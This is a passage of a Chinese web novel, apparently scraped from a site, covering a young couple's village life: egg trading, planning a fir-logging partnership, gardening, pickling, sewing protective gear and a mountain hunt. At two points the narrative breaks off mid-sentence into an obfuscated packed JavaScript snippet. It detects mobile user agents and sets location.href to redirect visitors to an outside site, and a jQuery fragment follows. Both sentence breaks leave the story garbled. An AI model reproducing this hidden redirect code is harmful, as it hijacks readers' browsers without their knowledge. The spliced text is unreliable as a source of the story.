她养鸡养鸭养鹅多,猪崽儿还是前两年跟着外婆喂过,后来就没有再养了。因为他们只有两口人,就是杀年猪还得请人杀,杀了也是便宜梅大舅和邱大妗子。工夫没少花,到头来还留不下两块肉,实在划不来,后头就不喂了。 她想着,家里有猪圈,还有不少腊肉,估计以往娘肯定是喂猪的,她要不要也跟着喂,喂到过年,自家宰一头,卖一头,这样能落些钱,他们明年一年也有腊肉吃。 原耕耘不大赞成,“猪不比鸡鸭鹅,它们离不了人,一顿不吃就不肯长肉。你不是说夏秋季节还要上山采药吗?喂猪的话,家里就离不了人了。” 向园就犹豫起来,想了一会儿道:“那就不喂了。” 肉可以买着吃,但采药不能耽误。 原耕耘笑笑,“满仓家喂得多,等过年咱们跟他们买,买个一头半头的,就够咱们吃好久了。” “嗯嗯。”向园点头,又露出笑来,松开原耕耘的手去寻摸鸭蛋。 有想吃鸭蛋的,自然就有稀罕鹅蛋的,没费多大工夫,就有人主动来问。 向园认不清脸,估摸着年纪喊了声“婶子”。 对面的婶子噗嗤一笑,看见她边上站着的原耕耘,道:“是向家丫头吧。” 原耕耘也低声提醒,“是许阿婆。” 向园:“……” 怎么不早说! 她仔细端详一番,恍悟道:“许阿婆,瞧我,猛地一看还以为是许三姑呢,你们俩长得真像,您看着真年轻。” 许三姑是许阿婆的女儿,嫁到村里一户方姓人家,向园和原耕耘定亲的时候,她去过向家小院。 许阿婆笑出一口银牙,“瞧你这嘴巴甜的,我早听兰丫说了,是个伶俐丫头。人又乖,嘴又甜,心又细,把你夸得啊,我早想见一见了。” 向园露出甜甜的笑,寒暄几句,开始做生意。 鸭蛋和鹅蛋的价格都固定的,两个鹅蛋换五个鸭蛋,许阿婆带了二十四个鸭蛋,向园亏一文钱,换了十个鹅蛋给她。 还有十个,也顺利换出去了,实际上还不够换。因为有人看见许阿婆换鹅蛋,也围过来了,也想换,向园看看,没有她想要的东西,就依旧换了鸭蛋。 二十个鹅蛋,换了四十九个鸭蛋。来时满满一篮子,回时还是满满一篮子。 原耕耘拎着,往周家去。 快到周家门口时,向园要拎回篮子,“耕耘哥哥,我来拎。你拎的话,周满仓还以为你是瞧他的。” 原耕耘:“……” 还真有可能,不过…… “你手不酸了?” 向园:“……哼!” 他们还没换过手,周满仓从后头窜出来,“原嫂子,你又来给我二嫂送啥好东西了。” 他说着还想掀开搭布看,被原耕耘一脚踢开。 向园:“……这回没有,我刚从村头换的东西,还有用呢。” 周满仓更好奇了,“有什么用?” 向园眨眨眼,“拿回去孵小鸭啊。” “你都有那么多鸭崽儿鹅崽儿了,你还要孵!”周满仓一脸惊奇。 “你还养那么多猪崽儿呢,我多养些鸭怎么了。”向园下巴点点周满仓的背筐,他这是刚割了猪草回来。 周满仓没话说了,一边带着人往大门口走,一边隔着篱笆墙喊他娘和他大哥嫂子,“九哥和原嫂子来了。” 向园听着这称呼怪怪的,跟原耕耘嘀咕,“他好像在说毫不相干的两个人!” 要不是他俩站得近,任哪个不认识的听了这话,能觉得九哥和原嫂子是两口子? 原耕耘听着也不爽,“你要么就叫我原二哥,要么就喊我娘子九嫂子。” 周婶子和杨可真还没见出来,周满仓顺便就改了个口,“娘,嫂子,原二哥和九嫂子来啦。” 原耕耘:“……” 还不如不改呢。 向园:“……算了,我心里知道你是我相公,我是你娘子就行。” 应该也没人像他这样笨了。 原耕耘几句话说完来意,周二仓、周满仓都没有异议,直接说要跟着一起去。 原耕耘又跟他们提了分成。 其实关于如何分成的事,他昨天就想过。 林木采伐并不是他们说采伐就能直接采伐的。虽说乡下地界,偷伐的不少,但大家也就是砍个柴火,顶多伐几根梁木建房,这里头讲究一个民不举官不究,只要不去官山或者有主的山上,就没什么大问题。至于荒山,不大批量砍伐,一般没有人管,就是有人看不顺眼,捅到衙门去,官府也没那么多空闲管这些小事,糊弄糊弄就过去了。 但是大规模采伐是必须要有衙门批文的,不然大批木头运出去,也瞒不住人。 何翀既然说这个事儿,这一点他那里就能搞定。 再有就是成本,通常大规模采伐,需要很多人协助。购买工具,雇佣劳力这都是钱。但何翀说的一千五百根杉木不算多,留给他们的时间也比较宽裕,他们可以慢慢干,就按一天砍三十根算,两个月也能完成。 现在难的是,近处的杉木分布零散,随便凑凑也能凑够数,但是光是要寻合适的树木就要分散不少精力,效率肯定要差一些。 成片的杉木林就要往深山里走,松云岭和雾罩峰那块,连成一片的全部都是,砍伐相对容易,运出来却难。而且那边山深路远,很可能有难以预知的危险。 真正要开始,他还得多蹚几遍,把路蹚出来才行。 按以前的规矩,这种事情通常都是牵头人先抽一成利,剩下的主股七分,力股三分。 他们这活儿不算大,里头就没什么主股财股了,就是需要些锯子、斧头、砍刀什么的,人手有限,工具也用不上太多。 听何翀的话音,材木算是卖给他,他再过一手给衙门。 虽然他说了一根给六钱的价,但原耕耘不能那么听,就算他给到六钱,回头利钱汇总,也要给他抽一成两成的,毕竟单那批文,等闲不好弄到。 这样算下来,一根大概就是四钱八分。 这四钱八分里,他占一钱八分,剩下的三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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原耕耘思索片刻,“伐木要往深山走,可能遇上野猪群和其他猛兽,到了山里,就要完全听我调配了。你跟你大哥说清楚,他确定要参与,家里人也都同意的话,明天辰正你们一起过来,咱们签契书。” 黄穗安露出个笑,不等他说话,原耕耘继续道:“既是参与进来,就都是一样的,还是我先前说的分成。不过我先说好,这钱给的不一定及时,要等那边钱来了我才能结,如果我上头那一环连不上,你们又等不及的话,我可就只能给你们付劳力钱了。这之后,即便我拿到货款,你们再想按股分,也不可能了。这些契约上都会写明白。” “应该的!”黄穗安干脆应下,迫不及待回去跟兄嫂商量这件事。 原耕耘这才跟周二仓打听木行的事,得知村里有几个年轻人都在木行待过,有几个当初还跟着他学过打猎。 这倒好办了。 听着周二仓念叨名字,原耕耘一一跟印象里的人对上号,很快就挑出几个来,和周家兄弟一起过去找人。 木行的生意并不好做,单是采木勘合和课税两项就把利润摊得薄的不能再薄,更别说还要四处打点关系。所以掌柜的就要想法设法压低成本,一则是降低工具成本,一则是压榨工人。 要不几个在木行待过的年轻人怎么无一例外都回来了呢,这足以说明问题,不然在外头做工怎么都比在家种地有前途。 原耕耘找过去的时候,有两个还难以置信,确认他确实有衙门批文,确认每根杉木他们能分四分利,几人大喜,忙不迭应下。 原耕耘把跟黄穗安说过的话又说了一遍,几人思索一番,还是应下。 他们在木行做工,没日没夜的干活,也只得温饱而已,如今有这么个机会,能把握住自然要好好把握的,大不了就是出两个月白工。 更何况原耕耘说了,就是那头给钱不及时,他们也能得个劳力钱。 这边说定,原耕耘和向园也不多待,他们还要去里正家里打个招呼,明天签订契约,还要找他老人家和几位乡老做个见证的。 这一番折腾,回到家,已是隅中时分,再有一个时辰就晌午了。 向园想着这点时间来不及腌蛋了,就先跑去隔壁看菜苗。 52. 第 52 章 喝饱了雨水又晒太阳,菜苗和青菜芽都长得很好。 或许是光线好,菜苗亮堂堂的,格外翠绿。青菜也长大一些,向园看着,依稀能分辨出它们都是什么菜了。 “估计月底咱们就能吃上新鲜青椒。”她摸摸青椒植株顶端冒出的细小的花苞。 原耕耘点头,“快的话月中就能吃到。” 好似和向园成婚后,时间就过得特别快。也不对,应该说,自向园回来那一日起,日子就飞快流逝,每一天,他都还没嚼够滋味,这一天就过去了。 种在角落里的南瓜、冬瓜、丝瓜和葫芦,也都出得不错,他们种子撒得稠,现在苗儿都挤在一起,看着一副有劲儿却施展不开的样子。 向园扒拉着看看根部,觉得可以移栽了。 “耕耘哥哥,咱们趁着这个功夫,把菜苗种到坡上去吧。” 院子南边就是斜坡,斜坡底下才是水塘,那么大片地,足够种这些了。 原耕耘点头,去拎锄头,又找了个破篮子铲了一篮柴火灰。 向园拿上铁锹跟上,后面是蔫头耷脑的二黄。 二黄刚刚想咬菜苗来着,被原耕耘训了一顿,还被三花看笑话,这会儿还没精打采的。 向园摸摸狗头,“出去玩吧,去找大□□忙看鸭子,晚上还要再洗个澡。” 昨天出了太阳,一二三在水潭边扑了鱼,直接窜去山上了,回来的时候一个个都脏兮兮的。原耕耘陪客,向园就带他们在井边洗了洗。今天一早出了太阳,几只就又满地打滚了。 二黄呜呜叫两声,颠颠跑远了。 南瓜和冬瓜直接种在坡上,种的间隔大一点,中间留出的空地就够拖秧。 村里头种这个,基本不搭架子,因为南瓜和冬瓜个儿大,怕成熟了坠着秧藤都砸下来,瓜砸坏了事小,不小心砸到人就不好了。 种在坡上,随便找两根竹竿牵引一下,苗长大了自己就会顺着竹竿往坡上爬,采摘也方便。 葫芦和丝瓜需要搭架子,就种在南墙根处,有墙做支撑,搭架子也方便。 原耕耘还有别的主意,“种那儿去吧。”他指着西边一片桑树林道。 桑树林也是向园家的,最初种下的时候,是为入药,桑根白皮,桑叶,桑枝,桑葚,桑柴灰都是药。 为了方便采摘,整片林子都有好好修剪过。长到现在,每一株桑树枝干粗壮,但都不高,只超出院墙一点。 把丝瓜和葫芦种到那里,就可以把架子搭在院墙和桑树枝杈上,更方便一点。而且桑树不高,跟墙隔着段距离,不会挡了光照,阻碍丝瓜和葫芦生长。 向园也觉得好,两人过去,原耕耘挖坑,向园栽苗,栽完原耕耘再填土,撒灰。 十几棵苗一刻钟就栽完了。 刚下过雨,地还湿着,不用浇水。原耕耘拿着镰刀在附近割了一捆青草,把苗盖上。晌午太阳毒,不遮一下就晒蔫了。 向园看着桑树林里的黄泥,觉得这用来腌咸鸭蛋就不错。就是这会儿地还没完全干透,很多地方泥浆浆的,挖出来也不能用,等傍晚再来看看。 家里还有不少粗盐,腌咸鸭蛋足够了,这盐要混进黄土里,再加水搅拌,盐粒不能太粗,粗了不好入味,也不能太细,细了盐融得快,腌出的蛋太咸不说,也放不住。 向园回到院子,趁着晌午前的工夫,先把盐弄好。 梨树桩旁边的橱柜里就有舂捣的小石臼,向园拿出来,也不进屋,直接装了半臼,研磨到颗粒均匀,不大也不小,就倒进垫了芭蕉叶的笸箩里。 六十个咸鸭蛋,差不多得要一斤盐。反正黄土还没有,也不用着急,向园磨了八臼,才够一笸箩,她晃晃看看,觉得够数了,就把石臼洗干净,放回橱柜里。 原耕耘浇完水就拎着篮子往后头竹林采菌子去了。 刚下完雨,山上出了不少菌子,早上在村头换鸭蛋的时候就看到有人再卖。他们后头就有竹林和大山,想吃了随时去捡一篮子,不值当买。 他脚程快,没多大会儿工夫就把竹林蹚了一遍。 竹林里生了好些白蛋,三五成群的,这些是还没长成的竹荪,原耕耘一个也不放过,都采进篮子里。 竹荪蛋是能长成竹荪的,只是长成竹荪后,过不了多久就会萎缩,所以白蛋很多,竹荪少见。 大家采的时候,通常也不等它长大,直接就采回去了。 原耕耘的篮子里已经铺了两层白蛋,竹荪只有角落里的十几朵。这就够吃了,下晌他就要进山一趟,在山里看见别的菌子还能采。 他顺着山路往回走。 向园把饭蒸上,站在后墙角望了望,没看见原耕耘的身影,她拐进菜地里,把剩下那一半韭菜割了。 这还是头茬韭菜,没来得及割都快长老了,根茎很长,用来腌菜正好。 到秋天,韭菜开花的时候,不少人家都会腌韭菜花吃。其实腌韭菜也好吃,尤其是长老的韭菜根,腌出来的菜清脆爽口,又有点韧劲,嚼起来很香。 虽然只有一小块地,但向园割完,也割了有半篮子。 菜都切好了,只等原耕耘回来就能炒,向园搬个小板凳,坐在凉亭里择韭菜。 择韭菜挺简单,只是这活儿琐碎,又耗时间,很多人都不喜欢做。 向园还挺喜欢的。 外婆刚把她接过去的时候,带着她去串门子。她那会儿不爱说话,看到邻家阿婆做什么就坐在那儿帮忙。择韭菜是最常做的一样活计。 刚开始她不太懂,一心想的是得把菜择干净,她把最外层包裹的一片叶子顺着一撕,再把叶尾发黄的地方掐掉,就能择得很干净了。 阿婆和外婆边说话边择,她闷着头不吭声,等择满一笸箩,喊她们换的时候,她们才发现,她是择得快,但是她脚边堆得菜根也多。 她那时候才知道,择韭菜只用把根上的一层老叶和白薄皮儿去掉就行,扯掉一整根叶子就太浪费了。 后来择得多了,她就发现一个小妙招,找片粗糙的纱布,浸点水, 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今天他梳得发髻不太好,都有些散开了。 向园也不是眼里只有竹荪,她看过后,就挎在左边手臂上,右边手臂挽上原耕耘的,拉着他往里走。 茶水是一早烧好的,晾凉了够一天喝,夏天容易口渴,现喝现烧能把人渴死。 原耕耘灌了两碗,走到凉亭底下接着向园的活儿尾巴,继续择韭菜。 他择了一会儿,情不自禁露出个笑,扬声问向园,“你这是择了多少韭菜,能想出来这法子?” 向园把姜片丢进锅里,看锅足够热了,把切好的山药片也丢进去。 “住我家后头的阿婆,以前是卖韭菜的,我没事儿就过去帮她择。但是他们家韭菜太多了,我就想了这个法子。” 原耕耘这次多拿了几根,拢成一撮,用纱布搓,很容易搓掉,但是手上力道得把握好,重了就把根搓坏了,轻了纱布又容易掉。 他想起向园给他做的手套,道:“可以把这纱布缝成手指套,套在拇指和食指上,会更好用。” 向园眼睛一亮,“耕耘哥哥,你真聪明。” 她添完水,走出来,直接去屋里端了针线筐出来,坐在原耕耘边上缝一个。 做这个不求精致,也不费工夫。 向园原本还想拇指和食指指套连着,长度得把控好,不然容易抻不开手,等坐下来把纱布拿到手里,才想到,也没必要连到一起,可以做两个指套,一个套拇指上,一个套食指上。 汤还没滚好,她的指套就做好了,原耕耘直接换上试了试,确实更好用。 向园眉眼笑开,趁着这会儿工夫,又拿着护腕缝起来,手套和护腿都缝完了,护腕只差最后两针。本来想着傍晚凉快些缝的,知道原耕耘下午还要进山,干脆现在就给他缝好。 夫妻俩一个择菜,一个做针线,几乎同时做完手里的活计。 53. 第 53 章 原耕耘洗干净手,向园让他带上试试。 夏天天热,皮革不透气,护腕向园是用布缝的,只有手套用了鹿皮,因为不包手指,也不怕闷。 护腕因要贴着皮肤,最里层向园用的轻薄柔软的蓝绫。这还是从布庄搜罗的那一大包布头里找着的,只有一块,不够缝两只护腕。 向园从中间裁成两半,往上各接了一片浅蓝色布料,这样蓝绫刚好够包裹住手腕,接缝和浅蓝色料子包裹在袖子外头,就算不像蓝绫那样柔软,也不会磨着小臂不舒服了。 护腕中间又加了一层纱,最外头是粗棉布,偏黑的深蓝色,耐脏耐磨。 原耕耘听向园说做护腕和手套,他还以为只有这些,没想到向园掏啊掏,又从筐里掏出好多东西。 原来她是用个圆笸箩做了针线筐的盖子,这样上下两层,上层笸箩里放常用的剪刀针线顶针等物,下层的筐里放布头,线捆,和一些没做完的活计。 向园掏出来这些都是做好的。 有护腿,跟护腕的颜色款式差不多,都是活扣,只是表层加了皮革,而且护腿长些,护腕短些。 此外,还有肘垫、膝垫和肩垫。 原耕耘要蹲下穿,向园拍拍他的腿,让他站直了,给他往腿上套,“耕耘哥哥,你瞧出来没,这跟你那双鹿皮靴是一套?” 鹿皮靴是以前樊云英给做的,是薄皮短靴,夏天穿闷得慌,但是能防蛇虫。原耕耘去深山经常穿。 绑腿用的就是做靴子剩下的鹿皮,比照着靴筒做的,刚好能把小腿也保护起来。 原耕耘低头看看,果真一样,连上头的花纹都是一样的,靴子脚踝两侧各有一枝绿叶红花,现在小腿上也有一枝。 “是凤仙花,驱虫防蛇的,南墙外就有,我上次让你揪一把揉出汁涂身上,你都没有揪。”向园给他穿好,站起来,又给他套肩垫。 “我今天一定涂。”原耕耘保证道。 他摸摸肩垫,觉出手感不对,“这是桐油浸过的布?” “嗯。”向园点头,“我那天去村里找杨姐姐纳鞋底,看到好多人都在跟货郎换桐油布,我就跟着换了点布头。二十文,换了好大一包呢。” 家里有蓑衣和雨披,搭粮食的雨搭子也有,她做这些小东小西的,换点布头就足够用了,还便宜。 向园绑好了,让原耕耘抻开胳膊踢踢腿试试,看看有没有哪里不舒服。 原耕耘以前可没这么多讲究,他也知道要防虫防蛇,但都是拿长布条绕着缠几圈完事,周二仓他们几个都是这样干的,谁也不会想着还特地缝一个护腕护腿出来。 但穿到身上,他就感觉出来,卫所和衙门那些人穿戴这个不是没有道理的,确实舒服,主要是贴着身,向园绑得松紧适中,他基本上感觉不到束缚。 向园道:“护腕我本来也想用桐油布做包层的,但是怕不透气,夏天穿着捂得慌,这些你这段日子先用着试试,要是还容易受潮,下一套我就做成桐油布的。秋天再给你做两套皮革的,冬天用,这样也有个替换。” 山林里湿气重,就算绑了护腕护腿,很快也会浸湿。 原耕耘之前缠布条总是缠很紧,等下山解开,手腕和小腿的皮肤都捂得泛白发皱。现在就是换了护腕和绑腿,肯定也还是捂的,不过要比缠布条好些。 “嗯。”原耕耘摸摸她的脸,“你裙子做好了?” 向园的衣裳做好了一身,就是以往常穿的样式。在布庄买的那些好布,她太喜欢了,有心裁几个好样子出来,这几天都在描画,还没下剪子。 “我已经想好几个样式了,但还没确定好要用哪个,晚上你帮我看看。”她笑着道。 原耕耘眼含笑意,帮她把散下来的头发又缠回去,“要不我找娘,让她帮你做。” 樊云英裁剪刺绣的手艺很好,她给原耕耘和向园做的婚服,放到府城里也是很拿得出手的。成婚第二天,向园都没舍得洗,好好用布把沾灰的地方擦了擦,晾干收进箱子里了。 现在他们去村里,还经常有人问呢。有些脸皮厚的,还想借去穿,都被向园挡回去了。 向园觉得不太好,“我们好久没去看娘,一过去就让她帮忙,这样多不好。等你哪天有空,咱们去看看她吧,我向她请教就行,我学这个很快的。” “好。”原耕耘点点头,摸摸护腕上绣着的老虎,是向园的属相。 绣的凤仙花没有味道,只是驱蛇的寓意,那老虎想必也是为了陪着他,保他平安。 他摸摸向园的脸,不舍得松手。 向园推开他,去看汤煮好了没。 她本来想绣原耕耘的属相的,只是他的属相在山林里实在不够霸气,她只好作罢。 或许,做下一对的时候可以绣上野猪? 原耕耘心里着实喜欢,吃饭的时候也没把这套护具取下来,吃过晌午饭,他换上鹿皮短靴就上山去了。 向园还有事情做,就没和他一起。她撵一二三跟上去,今天没有别人,一二三在,他能有个帮手。 洗过碗,向园顺便把韭菜淘洗干净,晾在笸箩里。这个天,约摸下半晌就能晾干,夕食之前就能腌上。 正好昨天空出一个酒坛子,可以拿来腌菜用,就不退到酒铺抵钱了。下次再去圩市,看看有没有合用的坛子罐子,得多买一点。不然等豆角茄瓜那些菜熟了,家里的坛坛罐罐都不够她折腾的。 向园抱着酒坛子洗洗,放在太阳底下晒。 腌菜想要长期保存,就不能见油见水,放菜的时候,坛子一定得是干的,不然菜容易坏。 向园刚开始腌菜的时候,腌不好,所以她很少用大罐子,只用巴掌大的小坛子、小罐子,有时甚至直接用陶盆陶碗,腌够两天吃的。万一没腌好,坏了也不会太心疼。 过这几年,她积攒下许多经验,腌的次数多了,少有失败的,她才敢一次腌很多。 这么多韭菜,光切根部,就切了不老少,向园看看,干脆就把韭菜根和韭菜叶子分开腌制。 根脆韧,叶子软嫩,虽说味道都一样,吃起来口感还是有些差别的。 韭菜根加盐拌匀,用小酒坛装,刚好装了满满一坛。向园晌午做饭时,顺便煮了花椒糖水,已经晾凉,直接倒进去。 韭菜叶子也是同样的腌法,只是没有空着的坛坛罐罐了,向园在灶房搜摸一会儿,总算腾出一个装黄豆的罐子,还有先前周婶子送来的泡萝卜,也占了一个小陶罐。 向园掂着看看,泡萝卜 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高大笔直的树木直抵云霄,树顶郁郁葱葱,不见天日,苍翠葳蕤一直蔓延到远处的雾罩峰顶。 原耕耘估摸一下时间,他一路不歇气,走到这儿用了一个半时辰,如果要背着木头下山,肯定需要更久。 不走石峡走山路怎么样呢? 如果最短的路径可行,或许会省些力气。 他思忖片刻,对准绿蒲村所在的方向,往山外行去,一边走一边做记号。 回去一路清凉,没有灼人的大太阳,但一二三一点都不比来时活泼。它们竖着耳朵,严阵以待,显然也是感觉到了危险。 原耕耘绷直身体,张弓搭箭,环顾四周。 这个时间,这个地点,遇到大型猛兽的可能性不大,但野猪喜欢翻拱林地觅食根茎和小虫子,可能会出现。 但如果是野猪,应该有动静才对。 鹰啸虫鸣,昆虫振翅,细微的声响在耳边无限放大,原耕耘尽力捕捉。 弦上箭支如飞矢飞射而出,柳叶箭头穿透蛇首,深深没入杉木,箭尾黑色翎羽震颤不止,惊得叶底小虫慌不择路,四散奔逃。 白花蛇扭动身体,奋力挣扎。 汪汪几声,大黑、二黄、三花一拥而上,分别卡住蛇头、蛇身、蛇尾。原耕耘走上前,对着七寸又是一箭,白花蛇不再动弹。 他用力一拔,箭支断裂,箭头深陷在杉木中,显然弄不出来了。 这也是个记号。 原耕耘仔细瞧了一眼,捡起另一支羽箭,连蛇一起丢进挎篓里,往另一个方向走去。 腌完鸭蛋,向园烧水把风干鸡泡上,竹荪蛋还没吃完,晚上可以炒鸡吃。 做好这些,她拿了针线筐到梨树底下做针线。 梨花已经落光了,树上长出茂盛的叶子,绿荫比之前开花的时候更凉快。 连绵下了几天雨,原耕耘把秋千绑到树上,用雨布搭着,昨天才放下来。 向园搬了把凳子,坐到秋千旁边。 耕耘哥哥很喜欢那护腕,她都看出来了。 这会儿有空,干脆再给他缝一个背袋好了,也绣一个虎头纹,他肯定喜欢。 54. 第 54 章 布袋也用桐油布做。 向园买的桐油布头不像在布庄找的布头那样零碎,随便扒拉几块,估摸着就够缝一个背袋了。 她打算仿照钱褡裢,缝成可以挂在肩上、前后都能装东西的样式。 耕耘哥哥常在山上奔走,不一定遇上什么,所以缝的得比褡裢大些。 向园琢磨一下,觉得可以在两头多加一块底布,把口袋缝成圆筒或方筒的抽绳束口样式,比扁平的褡裢能装些。肩带处可以用双层布,缝厚实一点,但不用太宽,太宽了得用手把着,不然容易滑落,缝三寸宽就挺好,好搭还不勒肩膀。 她一边想一边拿布比划裁剪,没一会儿工夫,布袋的雏形就有了。 拿针把接缝缝好,向园又找颜色搭配的长条布,捻了四个扎口襻绳,前后袋口缝的时候就卷了个边,现在把襻绳穿进去,抽绳就能开合,装东西更方便。 向园手艺虽不像樊云英那样精湛,做这些事也是手到擒来,唯独绣虎头纹的时候遇到些困难。 桐油布厚实,得用粗针扎,封边还好,要往上绣东西得用绣花针,实在难以穿透。 向园想了想,翻出一块巴掌大的黄栌色棉布,叠起来,裁剪成完全对称的两个虎头形状。 贴布裁好,她仿照婴儿穿的虎头鞋样式,在上头绣出老虎的五官和纹路。这样封边后直接把贴布缀到布袋上,就大功告成了。 向园做针线入迷,等全部做完,蓦然发现日头已经挂到山尖。 她赶忙起身,针线筐也来不及收,先去稻田里看鸭雏鹅崽儿。 鸭雏鹅崽儿都吃得挺饱,拍着小翅膀在稻秧间游来游去,向园点了点数,没多也没少,她扭头往水塘那边走。 鸭雏鹅崽儿怪得很,大鸭大鹅欺负它们,它们丝毫不记仇。傍晚看到大鸭大鹅归圈,它们就跟看见亲爹亲娘似的,一溜儿扑腾上岸,乖乖跟在后头,不吭不嗯就进圈里了。 这么多天,向园忖着,就没一个掉队的。所以她也放心,不再专门跑过去赶它们。 走到水塘边,向园扒拉开香蒲看看,找到一个鸭蛋,一个鹅蛋。 她又往水塘里瞧。 果不其然,一个鹅蛋落到水塘里了,得等一二三回来才能够上来。 想着一二三,向园皱着眉把鸭鹅撵回圈里,关上圈门,实在不放心,她脚下一转,往医庐走去。 二楼的露台除了看不见西边,别的方向都能看很远。 她上楼,朝北边张望。 这个点,耕耘哥哥也该回来了,他要回来,一定会经过那里。 原耕耘也想走快点,但肩上这只梅花鹿实在过于活泼,严重拖缓了他的脚程。 他也把它放下来过,用绳子牵着它走,一二三在边上帮忙恐吓驱赶,结果,这头鹿根本不怕的,一个劲儿往它想走的方向挣扎,还不如他背着走快。 好在,太阳落山之前,他赶到了三足山小院。剩下的路,都是再熟悉不过的,他闭着眼也能摸回家。 他在小院里又找了三条麻绳,一头拴在鹿脖子上,一头让一二三噙着,他也扯了一根绳头在前头拉着,总算它肯乖乖走路了。 近黄昏时,挂心已久的人终于出现在视线里。 原耕耘微微一笑,加快了脚步。 “耕耘哥哥!”向园摆着手蹦了两下,才想起隔这么远,他肯定看不见。 她赶忙下楼,回去那院烧水做饭。 确定他安然无恙,她就放心了。 先烧开水,向园直接去灶屋添水引火。 灶屋的锅台有三个灶眼,前边一口大锅,后边一口小锅,大锅旁边还有一个小灶眼,刚好能坐个大铜壶或者陶锅在上头,看着像是后来改造加的。 不在灶屋做饭的时节,几个锅都用来烧水,烧一次就够装满浴桶了。 现在天热,水烧开兑些冷水,只大锅水就够用。向园就在小锅里放了甑片,坐上陶钵,隔水蒸饭。 水壶也架上,水添半满,风干鸡要焖一会儿才香,一会儿用壶里的水焖鸡。 之前原耕耘搂了不少干竹叶回来,当引火柴很容易点着。 这边锅大灶大,火燃起来往灶膛里添些粗壮的硬柴,就不用再管,向园有时候不放心,中途会过来看一次,添一些柴火。 其实原耕耘劈柴的时候很讲究,短些的,能整根塞进灶洞的,他就挟到灶屋。长些的,得时时注意着看火,就放到灶棚底下。 所以灶屋里,只要添柴的时候往里推推,基本不会有燃着的柴火掉下来,只要看一次别让火熄灭就好。 这边弄好,向园去灶棚底下忙活。 风干鸡泡水之前已经斩成小块,向园切了姜片、葱段,又拈了几粒花椒。配菜准备齐了,她把小炉子点着,开始煎鸡块。 风干鸡不含多少水分,哪怕泡了一两个时辰,也只是把表层的盐分泡掉,肉质还是紧实的。一倒进锅里,表面的水分很快被煎干,鸡肉变得微微焦黄,推到一边,姜片、花椒倒进边角炒一炒,再沿着锅边烹一点点醋,香味很快就出来了。 这边烧着,向园去灶屋提水壶。 水壶里的水刚开始响,还没彻底煮沸,但也足够了。 水倒进砂锅,没多大会儿就滚开,汤色渐渐变白。 向园盖上锅盖,把水壶添满,坐到灶眼上,往灶膛加了两根粗柴火,出门去迎原耕耘。 刚走到篱笆门口,就听见狗叫声。 “二黄!”她喊了一声。 二黄呼哧呼哧从东边跑过来,围着她转了几圈,又用头蹭她的腿,很兴奋的样子。 向园蹲下来摸摸它的脑袋,“耕耘哥哥在后边呢?” “汪汪!”二黄回应了一声。 “真乖!”向园又摸摸黄茸茸的脑袋夸了一句,“咱们去接耕耘哥哥!” “呜!”二黄立刻跑去前头带路。 二黄跑得快些,原耕耘牵着鹿也走到了竹窝窝,向园刚绕过东边的篱笆墙就看到他们。 她疾走两步,往那边去。 “这边草深,在那等着,我就过去。” 路是黄泥路,每天来来往往,踩得瓷实,但下过一场雨,路两边的草都长得茂盛,几丛高些的,差不多到人腰处。 向园就停下脚步,等他过来,“耕耘哥哥,我不着急,你慢慢走。” “嗯!”原耕耘应了一声,见鹿又贪嘴去吃草,他干脆扛起来,大步走。 大黑三花迫不及待丢了绳子,跑到向园身边,围着她撒欢。 几只大狗窜来窜去,向园只觉得安心。 之前一段日子,她少有一个人待着的时候,不是耕耘哥哥陪她,就是一二三陪她,这是她成亲以来,第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557624|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个单独度过的下午。 忙着的时候还不觉得,忙完了没有看见他们就明白是多么牵挂。 她还是往前迎了两步,走到原耕耘身边,“耕耘哥哥,我好想你!” 原耕耘:“……” 他想要是现在把鹿丢下,去抱向园,向园会不会让他先去洗手。 “我也想你!”他放下鹿,取下挎筐搭在二黄脖子上,牵着向园往回走。 “我还很想一二三!”二黄挨挨蹭蹭在腿边,向园想摸她的头,被原耕耘揽住腰提起,不准俯身。 原耕耘:“……我只想你。” 所以你也可以只想我。 “耕耘哥哥,这是你抓的鹿吗?”向园怕他累,挣下来自己走。 鹿没有逃,依旧在馋草,大黑、三花把绳子咬在嘴里,拽着它走。 “嗯!”原耕耘应了一声,察觉出她不同以往的依赖和依恋,捏了捏她的手指,“忙过这一段,我就带你一起进山。” “嗯嗯!”向园很高兴,“耕耘哥哥,你真厉害!” “真让人喜欢!”她补充道。 不等原耕耘多想,她又问起正事,“耕耘哥哥,你找到杉木林了吗?那地方好不好走?” 原耕耘笑着点头,“找到了,找到一大片,连绵的几座山都是,只是要走东边从三道岭上山,下山的时候就容易得多,杉木可以顺着河运出来,不用人背了。” 虽然遇见了蛇,但也算因祸得福了。 射杀白花蛇后,他走了另一个方向。 之前总想着以山中小屋做中间点,杉木送到小屋,等够数了再往外运。但是换个方向,他突然想到,走雾罩峰东边的山坳,或许不用人背太远,就能通过漂筏放排把杉木都运出来,只是他们上山,要走的路就远了。 三道岭是一座天然屏障,隔在绿蒲村和十里滩之间,虽说也隶属于绿蒲村,但跟村子还是隔着挺远距离。从村里走到山脚下,得两刻钟功夫。从他们家绕野路过去,也得两刻钟工夫。 到家后,向园自告奋勇割草喂鹿,让原耕耘去洗澡。 天色有些暗,蛇虫鼠蚁都躲起来,原耕耘不放心让她去,“我要洗洗头发,你来帮我?” 向园有些犹豫,现在不割,等会儿耕耘哥哥洗完出来还是要麻烦。头他自己也可以洗的,但是鹿现在不喂,越晚越不好喂。 原耕耘有办法,他在鹿脖子的绳套上又绑了一截麻绳,直接把鹿拴到水塘西北角的大槐树下。绳子放得够长,鹿自己就跑到边上去吃草了。 “这附近都是它爱吃的草,不用割草喂,它自己就能吃饱。”原耕耘说完,轮番顺顺一二三的厚毛背,使唤它们留下看鹿。 